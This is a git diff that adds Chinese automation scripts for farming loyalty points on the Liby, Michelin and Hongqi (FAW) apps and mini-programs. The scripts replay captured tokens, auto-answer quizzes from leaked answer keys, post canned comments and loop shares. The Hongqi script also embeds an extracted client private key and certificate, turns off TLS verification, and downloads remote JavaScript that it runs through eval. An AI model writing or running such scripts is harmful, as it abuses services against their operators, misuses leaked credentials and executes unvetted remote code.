`https://clubwx.hm.liby.com.cn/b2cMiniApi/me/getUserData.htm`, + headers: { + "accept": "*/*", + "accept-language": "zh-CN,zh;q=0.9", + "appid": "wxb9f68ca2da513bb2", + "content-type": "application/json", + "platformcode": "LiLeJia", + "priority": "u=1, i", + "sec-fetch-dest": "empty", + "sec-fetch-mode": "cors", + "sec-fetch-site": "cross-site", + "unionid": "" + this.unionid, + "x-wxb9f68ca2da513bb2-token": "" + this.token, + "xweb_xhr": "1" + } + } + let { + data: result + } = await axios.request(options); + if (result?.code == '200') { + $.log(`🌸账号[${this.index}]` + `[${result.data.nickName}] 积分` + `[${result.data.integral}]🎉`); + } else { + $.log(`🌸账号[${this.index}] 获取用户信息-失败:${result.msg}❌`) + } + + } + + + + + + + + +} + +!(async () => { + await getNotice() + $.checkEnv(ckName); + + for (let user of $.userList) { + await new Task(user).run(); + } +})() + .catch((e) => console.log(e)) + .finally(() => $.done()); + +async function getNotice() { + try { + let options = { + url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`, + headers: { + "User-Agent": defaultUserAgent, + }, + timeout: 3000 + } + let { + data: res + } = await axios.request(options); + $.log(res) + return res + } catch (e) { } + +} + diff --git a/脚本库/微信小程序/抓包版/米其林会员小程序/2026-05-14_miqilin_62de3bde.js b/脚本库/微信小程序/抓包版/米其林会员小程序/2026-05-14_miqilin_62de3bde.js new file mode 100644 index 0000000..c31e52a --- /dev/null +++ b/脚本库/微信小程序/抓包版/米其林会员小程序/2026-05-14_miqilin_62de3bde.js @@ -0,0 +1,293 @@ +// # Source: https://github.com/smallfawn/QLScriptPublic/blob/main/wxapp/miqilin.js +// # Raw: https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/wxapp/miqilin.js +// # Repo: smallfawn/QLScriptPublic +// # Path: wxapp/miqilin.js +// # UploadedAt: 2026-05-14T17:47:57+08:00 +// # SHA256: 62de3bdeb38837edfccddb525f451e9f7aa72afb284839413b72a5ada299438c +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + +/* +------------------------------------------ +@Author: sm +@Date: 2024.06.07 19:15 +@Description: +cron: 30 9 * * * +------------------------------------------ +#Notice: +米其林会员 每日任务 +WeChatCodeServer 填写wx_server_url wx_auth 用于获取code +变量名称:miqilin +⚠️【免责声明】 +------------------------------------------ +1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。 +2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。 +3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。 +4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。 +5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。 +6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。 +7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。 +*/ + +const { + Env +} = require("../tools/env") +const $ = new Env("米其林会员小程序"); +const WeChatServer = require("./wcs.js"); +let ckName = `miqilin`; +const strSplitor = "#"; +const axios = require("axios"); +const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram" +let wechat = new WeChatServer({ + url: process.env.wx_server_url || 'http://192.168.31.196:12081', + appid: 'wx14413dafd16b9540', + auth: process.env.wx_auth || "your-api-key", + +} +); + +class Task { + constructor(env) { + this.index = $.userIdx++ + this.user = env.split(strSplitor); + this.token = null + this.wcsid = this.user[0] + this.isSign = false + } + + async run() { + //随机延迟5-30s 模拟人工操作 + await $.wait(Math.floor(Math.random() * 20 + 5) * 1000); + let { data: codeRes } = await wechat.getCode(this.wcsid) + if (codeRes.status) { + await this.getUserToken(codeRes.data.code) + } + if (!this.token) { + $.log(`账号[${this.index}] 获取用户Token失败❌`) + return + } + this.token = 'Bearer ' + this.token + await this.getUserInfo() + await this.doPaper() + for (let i = 0; i < 10; i++) { + await this.share(); + } + } + async share() { + const options = { + method: 'POST', + url: `https://ulp.michelin.com.cn/op/points/share/have`, + headers: { + "Host": "ulp.michelin.com.cn", + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 15_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001f37) NetType/WIFI Language/zh_CN", + "Authorization": this.token, + }, + data: { "type": "ARTICLE", "code": "COM-MHT-93" } + }; + //post方法 + let { data: result } = await axios.request(options); + + $.log(`转发:${result?.code != 200 ? "转发失败" + result?.message : "转发成功!"}`) + } + async getUserToken(code) { + let options = { + method: 'GET', + url: `https://ulp.michelin.com.cn/bff/wechat/login/${code}`, + headers: { + "Host": "ulp.michelin.com.cn", + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 15_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001f37) NetType/WIFI Language/zh_CN", + "Referer": "https://servicewechat.com/wx14413dafd16b9540/130/page-frame.html" + } + + } + let { + data: result + } = await axios.request(options); + + this.token = result?.data?.token?.access_token; + $.log(`🌸账号[${this.index}] 获取用户Token成功:${this.token}`) + + } + + async getUserInfo() { + try { + let { data: result } = await axios.request({ + method: 'GET', + url: `https://ulp.michelin.com.cn/bff/profile`, + headers: { + "Host": "ulp.michelin.com.cn", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781 NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF XWEB/50249", + "Authorization": this.token, + } + }); + + + if (result?.data?.points) { + $.log(`账号[${this.index}] 获取用户积分成功:${result?.data?.points}`) + } else { + $.log(`账号[${this.index}] 获取用户积分失败❌`) + } + + + } catch (e) { + this.ckStatus = false; + console.log(`❌查询积分失败!原因为:${e}`); + } + } + async doPaper() { + //获取问卷 + await this.getPaper(); + //是否已完成问卷 + if (this.paperStatus) { + //获取本期问卷题目 + await this.getOpenTpaper(this.npsPaperCode); + let index = 1; + for (let question of this.questionList) { + $.log(`问题${index}:${question?.questionChoise?.stemHtml}\n`); + let options = question?.questionChoise.options; + for (let option of options) { + $.log(`- ${option.optionHtml}`); + } + let theQuestion = question.questionChoise.npsQuestionPk; + //查找对应题目答案 + let detail = this.stdAnswers.find(answer => theQuestion == answer.npsQuestionChoisePk) || {}; + let answer = options.find(o => o.npsQuestionChoiseOptionPk == detail.npsQuestionChoiseOptionPk); + if (!answer) answer = options[0]; // 如果没有找到匹配的答案,默认选择第一个选项 + //提交答案 + let answerRes = await this.answer(theQuestion, answer?.npsQuestionChoiseOptionPk); + $.log(`\n答案: ${answer.optionHtml} => ${answerRes}`); + } + //提交问卷 + await this.paperScore(this.paperCode); + } else { + $.log(`答题任务:本周奖励领取已达到上限,跳过执行`); + } + } + + //获取本期答卷 + async getPaper() { + + const options = { + method: 'POST', + url: `https://ulp.michelin.com.cn/campaign/paper/user`, + headers: { + "Host": "ulp.michelin.com.cn", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781 NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF XWEB/50249", + "Authorization": this.token, + }, + data: {} + }; + + let { data: result } = await axios.request(options); + if (result?.code == 200) { + $.log(`帐号[${this.index}]本次调查问卷为${result?.data?.npsPaperCode},总共${result?.data?.questionNum}道题目,状态为${result?.data?.status}`); + //如果已经答题,则跳过执行答题任务 + if (result?.data?.status == 'DONE') this.paperStatus = false; + //获取本期问卷期数 + this.npsPaperCode = result?.data?.npsPaperCode; + //获取本期问卷验证编号 + this.paperCode = result?.data?.paperCode; + } else { + this.ckStatus = false; + } + + } + //获取问卷题目 + async getOpenTpaper(npsPaperCode) { + + let options = { + method: 'GET', + url: `https://ulp.michelin.com.cn/npspaper/nps-admin/open/api/cp/public/get_open_tpaper/${npsPaperCode}`, + headers: { + "Host": "ulp.michelin.com.cn", + "User-Agent": "", + "Authorization": this.token, + } + } + + //post方法 + let result = await axios.request(options); + if (result?.success) { + //答案 + this.stdAnswers = result?.data?.stdAnswers; + //题目 + this.questionList = result?.data?.questionList; + } else { + $.log(`🔴帐号[${this.index}]获取问卷列表失败!${result?.message}`) + } + + } + + async answer(question, answer) { + try { + const options = { + url: `https://ulp.michelin.com.cn/campaign/paper/user/answer`, + method: 'POST', + headers: { + "Host": "ulp.michelin.com.cn", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781 NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF XWEB/50249", + "Authorization": this.token, + }, + data: { "answerOptionId": [`${answer}`], "paperCode": `${this.paperCode}`, "questionId": `${question}` } + }; + //post方法 + let { data: result } = await axios.request(options); + return result?.code == 200 ? "回答成功!" : `回答失败!${result?.message}` + } catch (e) { + console.log(`❌回答问题失败!原因为:${e}`); + } + } + + async paperScore(paperCode) { + try { + const options = { + url: `https://ulp.michelin.com.cn/campaign/paper/score/${paperCode}`, + data: {} + }; + //post方法 + let { data: res } = await axios.request(options); + $.log(`提交问卷:本期问卷正确率为${res?.data?.score}%,排名${res.data.rank}`); + } catch (e) { + console.log(`❌提交问卷失败!原因为:${e}`); + } + } + + + +} + +!(async () => { + await getNotice() + $.checkEnv(ckName); + if (process.env['wx_server_url'] && process.env['wx_auth']) { + for (let user of $.userList) { + await new Task(user).run(); + } + } else { + + $.log(`${ckName}未配置微信SERVER配置 搭建可看仓库目录下的readme.md❌`) + return + } + +})() + .catch((e) => console.log(e)) + .finally(() => $.done()); + +async function getNotice() { + try { + let options = { + url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`, + headers: { + "User-Agent": defaultUserAgent, + }, + timeout: 3000 + } + let { + data: res + } = await axios.request(options); + $.log(res) + return res + } catch (e) { } + +} diff --git a/脚本库/微信小程序/抓包版/红旗智联/2025-06-28_红旗智联_c676b0c8.js b/脚本库/微信小程序/抓包版/红旗智联/2025-06-28_红旗智联_c676b0c8.js new file mode 100644 index 0000000..3ac07ca --- /dev/null +++ b/脚本库/微信小程序/抓包版/红旗智联/2025-06-28_红旗智联_c676b0c8.js @@ -0,0 +1,414 @@ +// # Source: https://gitee.com/jdqlscript/toulu/blob/main/%E7%BA%A2%E6%97%97%E6%99%BA%E8%81%94.js +// # Raw: https://gitee.com/jdqlscript/toulu/raw/main/%E7%BA%A2%E6%97%97%E6%99%BA%E8%81%94.js +// # Repo: jdqlscript/toulu +// # Path: 红旗智联.js +// # UploadedAt: 2025-06-28T11:18:42+08:00 +// # SHA256: c676b0c804204927c7ebcbc05f2aab18d80bf1a970427107840e5c1bfcbb59af +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + +/** + * cron "28 10,16 * * *" + * export HQZL="账号1&密码1 账号2&密码2" + + + TL库:https://github.com/3288588344/toulu.git + tg频道:https://t.me/TLtoulu + QQ频道:https://pd.qq.com/s/672fku8ge + + */ +const $ = new Env('红旗智联') +const HQZL = ($.isNode() ? process.env.HQZL : $.getdata("HQZL")) || ''; +let Utils = undefined; +let CryptoJS = '' +let phone = '' +let password = '' +let token = '' +let aid = '' +let notice = '' +let clientKey = '-----BEGIN PRIVATE KEY-----\n' + + 'MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQClKFtRRKV2PbeY\n' + + 'koRw2eKpstLik9hddOuB1UMc/AkkP8I3WbOCoYyvkk7bYHq98Csa4kZabFBzSeCR\n' + + 'aqFMxbQ114kwvs0u/mKG/j3mB9cys9kZJOIfutqyBUpbsi+RDVhpVB0dZoHRqr/C\n' + + 'Sw9ORX1CC1zk4ITO9Lvp/ystIH9wKdp4Gg7OyFGXyw0asfVqbMLkMqwqMqZFuKX1\n' + + 'GQj+xNMcPEsBPwYeFbAc9Fzdu4x0goh8moTLd7sa8KjyV68sORQenl+7QhPte26e\n' + + 'SI3Ezy73tLjPSgaZ6qPkAyLHZGfIAPsLwK2ZM236z3D7u85qVQii6tNDCH0NgOU1\n' + + 'ODQlre/xAgMBAAECggEADR1LQwTEbsMv1PmtcpiamwcMH9nFkIY8PS8GCUMqJqq5\n' + + 'bVO+IV1aooZnpJvgozxy78uP8pYvPThckK9653G7gZr/1dMQz+57PGTr3Vw6Blip\n' + + 'oImBOyvHOeOZp/ZaOJZqstJvDWqaXF/GolL7gCecbqYgVjxNz3E3irksYIT4GZvY\n' + + 'hsobS/HY4gdVMT0YfLzaHaERU+zToUuZ6tIJ4OBbasxwt8vH3RKDqviDtZNtWtUS\n' + + 'hfKIgAfrFiDtAY5ii3+kVf7SHFjC/a0aYmeRHXH2/B8wwiBbv8SOe4TWCgHgF0X6\n' + + '93cfdkk6hnfK154cNF6Ea39nSm17E/UVieJkKWtkEQKBgQDIihxBdygtcchEsoCH\n' + + 'et3XrMIniyWSxYJGD8Wtw7GuHIVW6S6i8PDVtt4C9Uli93xezV0dVTc+xzNh/3g/\n' + + 'NDwgj/Q2k2CF+e17iHQbflqqw4pCsQPi3DUjKPM3aQ7geplwYyTRCzf5xtXfKDGv\n' + + 'DfeLzOc6wkpkpMKuFPngyFOHOwKBgQDS1UPybmURqHW8YDWsa0MFdj/3fLTxv5xX\n' + + 'UMPgGuQaBW2U2EkTDFzliq2JbIWx79HBPzmLirIQ/F9DSORaCM2JnRINDvJQC45X\n' + + 'EcxnAmrae+FqcaZ3KoI7RD7fB11+McEoyr6LzxRnbYPV8Diq8l48ZHxGwKfJPHYf\n' + + 'kGgjKjbqwwKBgGLsxl2A8z/ftiQ1TfQHJzJCVZB+Mq3BYq8/DovWUmsKRLiH1Oqq\n' + + 'IpO6XrBk4avBXAfEFJ/orpT4XR+Fj4LWOKbzfEwDzYSpsn3S5Tu+y+kbBrQ5cCpT\n' + + '6J6Mj9YQrDcOI2zua3X3q8g6TryDrmalZC0BijtRJrOZFzQawt0g1RuLAoGAL8T0\n' + + 'dTyAF+Ukb/8Yii1vbRBi4+9UjCXPBZWeG+vb3O13666pt/AoKDYopad6D1v4GaH6\n' + + 'ptxRBjo4V2Vvn9q4v0Jgcab+ThagNKgquPg6P7Cr3VNM1VlDUqxe1mezzkD1tAlj\n' + + '7QeJZvnQUivwmwL5SRO3eMxz98uENBijD7yj3sMCgYEAxr8GdzDGi7CyY1Rc62fK\n' + + 'oyUz7AdrUgaYrBaNMFNqstXda/1I8WNxOmAnAATSWEMFPeM32NNtop9YZiAbR3Y1\n' + + 'weKf5jk+YKQmwcqnRh61HafrfFrblAD+D1EF3Atg6F35dniC5h9usZDNgiuBw1sv\n' + + 'tpoEb7g0v/k37gQghbggrGs=\n' + + '-----END PRIVATE KEY-----' +let clientCert = '-----BEGIN CERTIFICATE-----\n' + + 'MIIDmjCCAoKgAwIBAgIIH4/IYJHo1A0wDQYJKoZIhvcNAQELBQAwIjELMAkGA1UE\n' + + 'BhMCQ04xEzARBgNVBAMMCkZBVy1tb2JpbGUwHhcNMTkwMTIzMDYwMDUyWhcNNDgw\n' + + 'ODE4MDYwMDUyWjBCMQswCQYDVQQGEwJDTjEPMA0GA1UECgwGRkFXLUhRMQwwCgYD\n' + + 'VQQLDANBcHAxFDASBgNVBAMMC0RlZmF1bHQtQXBwMIIBIjANBgkqhkiG9w0BAQEF\n' + + 'AAOCAQ8AMIIBCgKCAQEApShbUUSldj23mJKEcNniqbLS4pPYXXTrgdVDHPwJJD/C\n' + + 'N1mzgqGMr5JO22B6vfArGuJGWmxQc0ngkWqhTMW0NdeJML7NLv5ihv495gfXMrPZ\n' + + 'GSTiH7rasgVKW7IvkQ1YaVQdHWaB0aq/wksPTkV9Qgtc5OCEzvS76f8rLSB/cCna\n' + + 'eBoOzshRl8sNGrH1amzC5DKsKjKmRbil9RkI/sTTHDxLAT8GHhWwHPRc3buMdIKI\n' + + 'fJqEy3e7GvCo8levLDkUHp5fu0IT7XtunkiNxM8u97S4z0oGmeqj5AMix2RnyAD7\n' + + 'C8CtmTNt+s9w+7vOalUIourTQwh9DYDlNTg0Ja3v8QIDAQABo4GzMIGwMB8GA1Ud\n' + + 'IwQYMBaAFDPZV0KpQWJymU15AsK+gOjkSXVzMB0GA1UdDgQWBBRLrIP+46GjEeE1\n' + + 'y7FfxhJTUqtiCTALBgNVHQ8EBAMCBsAwYQYDVR0fBFowWDA1oDOgMaQvMC0xCzAJ\n' + + 'BgNVBAYTAkNOMQ8wDQYDVQQLDAZDUkxtb2IxDTALBgNVBAMMBGNybDAwH6AdoBuG\n' + + 'GWh0dHA6Ly8xMjcuMC4wLjEvY3JsMC5jcmwwDQYJKoZIhvcNAQELBQADggEBAJRV\n' + + 'bfDGDmTmGoAEtq0Jj5aCDhCrLCC48sRx4Fuc7Oh72cG1p7xIVLpFxDeqQzEsN2U2\n' + + 'z8owmdwrsngIIsc3LQ9YJkA88i+wUp2epOX8BUeHuMPf4jKi+FdYNwciYEpH3Tnn\n' + + '8gTajeZ40v9r8axv/xxwcS71RUZg/EGycECA2f7q35XCAWgUS+HUFBrog1XrCATa\n' + + 'dkg1Pp2plTl5QpLzJZ4mNS6Yfik3jvwxxmlsdAY81TABOWLCoEDGMK+/3BVK3JIK\n' + + 'v1EcSzepF59YIcJ/VemEhQU9rJCr6k+MIC39v1xoXfj+Sb121Q9sDD7WuT0V/3JF\n' + + 'oYjU6io07CCCmeNCw+I=\n' + + '-----END CERTIFICATE-----' +!(async () => { + await main(); +})().catch((e) => {$.log(e)}).finally(() => {$.done({});}); + +async function main() { + if (!HQZL) { + console.log("先去boxjs填写账号密码") + await sendMsg('先去boxjs填写账号密码'); + return + } + Utils = await loadUtils(); + CryptoJS = Utils.createCryptoJS(); + let arr = HQZL.split(" "); + for (const item of arr) { + phone = item.split("&")[0] + password = item.split("&")[1] + console.log(`用户:${phone}开始任务`) + iv = CryptoJS.enc.Utf8.parse('51C1A11FFB006C10'); + key = CryptoJS.enc.Utf8.parse('12A63EDBA74F77CF'); + console.log("登录") + let login = await loginPost(`/user/account/mp/login?appId=M001&deviceId=${generateUUID().replace(/-/g, '')}tsp2`,`password=${encodeURIComponent(encrypt(key,iv,password))}&mobile=${encodeURIComponent(encrypt(key,iv,phone))}&version=1`) + console.log('登录结果:' + login.status) + if (login.status != 'SUCCEED') { + continue + } + token = login.accountVo.grayToken; + aid = login.accountVo.cid; + console.log("开始签到") + let sign = await commonPost('/fawcshop/collect-public/v1/score/addScore',{"scoreType":"2"}) + if (sign.code == '000000') { + console.log(`签到成功,获得${sign.data.score}积分`) + } else { + console.log(sign.msg) + } + console.log("————————————") + console.log("开始任务") + let taskList = await commonGet('/fawcshop/members/task/v3/getTaskList') + for (const task of taskList.data.noticeTaskList) { + console.log(`任务:${task.taskName}`) + if (task.completeFlag) { + console.log('任务已完成') + continue + } + if (task.taskCode == 'NT-APP_isLike') { + let getILikeThis = await commonGet(`/fawcshop/collect-sns/v1/dynamicTopic/getILikeThis?invId=31375771`) + console.log(getILikeThis.msg) + } + } + for (const task of taskList.data.dailyTaskList) { + console.log(`任务:${task.taskName}`) + if (task.completeFlag) { + console.log('任务已完成') + continue + } + if (task.taskCode == 'PT-APP_comment') { + let postList = await commonGet('/fawcshop/cms/api/front/content/v3/queryUnionContentPostList?pageNo=1&pageSize=10&menuType=1') + let contentId = '' + while(!contentId) { + let index = Math.floor(Math.random() * postList?.data?.data?.length); + contentId = postList?.data?.data[index]?.contentId; + if (!contentId) { + continue + } + let commentList = ['红旗,让理想飞扬','红旗加油,红旗棒!','红旗,遥遥领先!','支持红旗,加油!'] + let comment = commentList[Math.floor(Math.random() * commentList.length)]; + console.log(`获取评论:${comment}`) + let addComment = await commentPost('/fawcshop/collect-sns/v1/dynamicTopic/saveCommentDetailsRevision',{"commentContext":comment,"commentType":"8500","contentId":contentId,"parentId":"0","fileString":[]}) + console.log(addComment.msg) + } + } + if (task.taskCode == 'PT-APP_share') { + let share = await commonPost('/fawcshop/collect-public/v1/score/addScore',{"scoreType":"4"}) + console.log(share.msg) + } + } + console.log("————————————") + console.log("查询积分") + let getUserInfo = await commonPost(`/fawcshop/mall/v1/apiCus/getUserInfo`,{"userId":aid}) + console.log(`拥有积分:${getUserInfo.data.scoreCount}\n`) + notice += `用户:${phone} 积分:${getUserInfo.data.scoreCount}\n` + } + if (notice) { + await sendMsg(notice); + } +} + +async function loginPost(url,body) { + return new Promise(resolve => { + const options = { + url: `https://58.244.119.104${url}`, + headers : { + 'signt': Date.now(), + 'devModel': '21091116AC', + 'simAudit': 'SUCCEED', + 'os': 'android', + 'appVer': '5.0.3', + 'appkey': '7261076202', + 'nonce': generateUUID().replace(/-/g, ''), + 'appVerCode': '2024102917', + 'manufacturer': 'Xiaomi', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Connection': 'Keep-Alive', + 'Accept-Encoding': 'gzip', + 'user-agent': 'okhttp/4.9.2', + }, + body: body, + https: { + key: stringToUint8Array(clientKey), + certificate: stringToUint8Array(clientCert), + rejectUnauthorized: false + } + } + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + await $.wait(2000) + resolve(JSON.parse(data)); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +async function commonPost(url,body) { + let params = getParams(body); + return new Promise(resolve => { + const options = { + url: `https://hqapp.faw.cn${url}`, + headers : { + 'Authorization': token, + 'aid': aid, + 'platform': '2', + 'o35xzbbp': 'qjzsuioa', + 'version': '5.0.3', + 'X-Feature': 'sprint3-demo', + 'anonymousId': 'f33b8c0033deea93', + 'timestamp': params.timestamp, + 'nonce': params.nonce, + 'signature': params.signature, + 'tenantId': '03001001', + 'Content-Type': 'application/json', + 'Connection': 'Keep-Alive', + 'Accept-Encoding': 'gzip', + 'user-agent': 'okhttp/4.9.2', + }, + body: JSON.stringify(body) + } + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + await $.wait(2000) + resolve(JSON.parse(data)); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +async function commentPost(url,body) { + let params = getParams(body); + return new Promise(resolve => { + const options = { + url: `https://hqapp.faw.cn${url}`, + headers : { + 'Connection': 'keep-alive', + 'Pragma': 'no-cache', + 'Cache-Control': 'no-cache', + 'o35xzbbp': 'qjzsuioa', + 'Authorization': token, + 'aid': aid, + 'platform': '2', + 'version': '5.0.3', + 'Accept': '*/*', + 'Origin': 'https://hqapp.faw.cn', + 'X-Requested-With': 'com.sunao.qm.qm_android', + 'timestamp': params.timestamp, + 'nonce': params.nonce, + 'signature': params.signature, + 'Content-Type': 'application/json', + 'Sec-Fetch-Site': 'same-origin', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Accept-Encoding': 'gzip, deflate', + 'Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7', + 'user-agent': 'okhttp/4.9.2', + }, + body: JSON.stringify(body) + } + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + await $.wait(2000) + resolve(JSON.parse(data)); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +async function commonGet(url) { + return new Promise(resolve => { + const options = { + url: `https://hqapp.faw.cn${url}`, + headers : { + 'Authorization': token, + 'aid': aid, + 'platform': '2', + 'o35xzbbp': 'qjzsuioa', + 'version': '5.0.3', + 'X-Feature': 'sprint3-demo', + 'anonymousId': 'f33b8c0033deea93', + 'tenantId': '03001001', + 'Content-Type': 'application/json', + 'Connection': 'Keep-Alive', + 'Accept-Encoding': 'gzip', + 'user-agent': 'okhttp/4.9.2', + } + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + await $.wait(2000) + resolve(JSON.parse(data)); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getParams(body) { + let timestamp = Date.now(); + let nonce = generateUUID().replace(/-/g, '') + generateUUID().replace(/-/g, '') + let sortedKeys = Object.keys(body).sort(); + const sortedData = {}; + sortedKeys.forEach(key => { + sortedData[key] = body[key]; + }); + iv = CryptoJS.enc.Utf8.parse('do78coatrjrtzqvs'); + key = CryptoJS.enc.Utf8.parse('rnt69xfvwktr7yss'); + let signature = encrypt(key,iv,`${JSON.stringify(sortedData)}${timestamp}${nonce}`) + return {"timestamp":timestamp,"nonce":nonce,"signature":signature} +} + +function generateUUID() { + return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function(c) { + const r = (Math.random() * 16) | 0; + const v = c === 'x' ? r : (r & 0x3) | 0x8; + return v.toString(16); + }); +} + +function stringToUint8Array(string) { + const binaryString = string; + const len = binaryString.length; + const bytes = new Uint8Array(len); + for (let i = 0; i < len; i++) { + bytes[i] = binaryString.charCodeAt(i); + } + return bytes; +} + +function encrypt(key,iv,word) { + var srcs = CryptoJS.enc.Utf8.parse(word); + var encrypted = CryptoJS.AES.encrypt(srcs, key, { + iv: iv, + mode: CryptoJS.mode.CBC, + padding: CryptoJS.pad.Pkcs7 + }); + return encrypted.toString(); +} + +async function loadUtils() { + let code = $.getdata('Utils_Code') || ''; + if (code && Object.keys(code).length) { + console.log(`✅ ${$.name}: 缓存中存在Utils代码, 跳过下载`) + eval(code) + return creatUtils(); + } + console.log(`🚀 ${$.name}: 开始下载Utils代码`) + return new Promise(async (resolve) => { + $.getScript( + 'https://raw.githubusercontent.com/3288588344/toulu/main/Utils.js' + ).then((fn) => { + $.setdata(fn, "Utils_Code") + eval(fn) + console.log(`✅ Utils加载成功, 请继续`) + resolve(creatUtils()) + }) + }) +} + +async function sendMsg(message) { + if ($.isNode()) { + let notify = '' + try { + notify = require('./sendNotify'); + } catch (e) { + notify = require("../sendNotify"); + } + await notify.sendNotify($.name, message); + } else { + $.msg($.name, '', message) + } +} + +// prettier-ignore +function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise(((e,i)=>{s.call(this,t,((t,s,o)=>{t?i(t):e(s)}))}))}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.logLevels={debug:0,info:1,warn:2,error:3},this.logLevelPrefixs={debug:"[DEBUG] ",info:"[INFO] ",warn:"[WARN] ",error:"[ERROR] "},this.logLevel="info",this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.encoding="utf-8",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}getEnv(){return"undefined"!=typeof $environment&&$environment["surge-version"]?"Surge":"undefined"!=typeof $environment&&$environment["stash-version"]?"Stash":"undefined"!=typeof module&&module.exports?"Node.js":"undefined"!=typeof $task?"Quantumult X":"undefined"!=typeof $loon?"Loon":"undefined"!=typeof $rocket?"Shadowrocket":void 0}isNode(){return"Node.js"===this.getEnv()}isQuanX(){return"Quantumult X"===this.getEnv()}isSurge(){return"Surge"===this.getEnv()}isLoon(){return"Loon"===this.getEnv()}isShadowrocket(){return"Shadowrocket"===this.getEnv()}isStash(){return"Stash"===this.getEnv()}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null,...s){try{return JSON.stringify(t,...s)}catch{return e}}getjson(t,e){let s=e;if(this.getdata(t))try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise((e=>{this.get({url:t},((t,s,i)=>e(i)))}))}runScript(t,e){return new Promise((s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let o=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");o=o?1*o:20,o=e&&e.timeout?e.timeout:o;const[r,a]=i.split("@"),n={url:`http://${a}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:o},headers:{"X-Key":r,Accept:"*/*"},timeout:o};this.post(n,((t,e,i)=>s(i)))})).catch((t=>this.logErr(t)))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const 